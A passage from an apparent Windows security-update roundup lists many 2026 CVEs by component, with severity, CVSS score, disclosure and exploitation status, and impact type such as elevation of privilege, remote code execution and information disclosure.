Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information 